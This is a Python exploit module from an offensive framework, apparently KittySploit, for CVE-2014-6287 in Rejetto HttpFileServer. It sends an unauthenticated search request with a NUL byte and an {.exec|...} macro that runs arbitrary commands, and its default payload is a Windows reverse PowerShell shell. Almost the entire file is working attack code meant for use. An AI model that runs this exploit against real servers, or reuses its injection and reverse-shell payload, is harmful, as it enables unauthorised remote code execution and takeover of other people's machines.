HFS CVE-2014-6287 search macro RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Rejetto HFS CVE-2014-6287 unauthenticated search macro command execution."""

from __future__ import annotations

from urllib.parse import quote

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "HFS CVE-2014-6287 search macro RCE",
        "description": (
            "CVE-2014-6287 (HttpFileServer 2.3–2.3c): NUL-byte desync in the search "
            "handler allows {.exec|cmd.} macro execution without authentication."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2014-6287"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/reverse_powershell",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2014-6287",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["hfs", "httpfileserver", "rce", "unauth", "cve-2014-6287"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "chain": {"suggested_followups": ["scanner/http/hfs_cve_2014_6287_detect"]},
        },
    }

    port = OptPort(8080, "HFS HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    command = OptString("", "Command (overrides payload)", required=False)

    def execute(self, cmd: str) -> str:
        macro = "{.exec|" + str(cmd) + ".}"
        search = "\x00" + macro
        path = "/?search=" + quote(search, safe="")
        resp = self.http_request("GET", path, allow_redirects=False)
        code = int(getattr(resp, "status_code", 0) or 0) if resp else 0
        return f"HTTP {code}"

    def check(self):
        resp = self.http_request("GET", "/", allow_redirects=True)
        body = (resp.text or "").lower() if resp else ""
        if "httpfileserver" in body or "hfs" in body:
            return {"vulnerable": True, "reason": "HttpFileServer UI detected", "confidence": "medium"}
        return {"vulnerable": False, "reason": "HFS not detected", "confidence": "low"}

    def check_execute(self):
        token = self.random_text(6)
        cmd = f'cmd /c echo {token}'
        self.execute(cmd)
        return True

    def run(self):
        cmd = str(self.command or "").strip() or str(self.payload or "").strip()
        if not cmd:
            print_error("Set command or payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_warning(chk.get("reason", "HFS fingerprint weak — continuing"))

        print_status("CVE-2014-6287 — HFS search macro injection")
        detail = self.execute(cmd)
        print_success(f"Macro dispatched ({detail})")

        if str(self.command or "").strip():
            return self.handler_execute()
        return True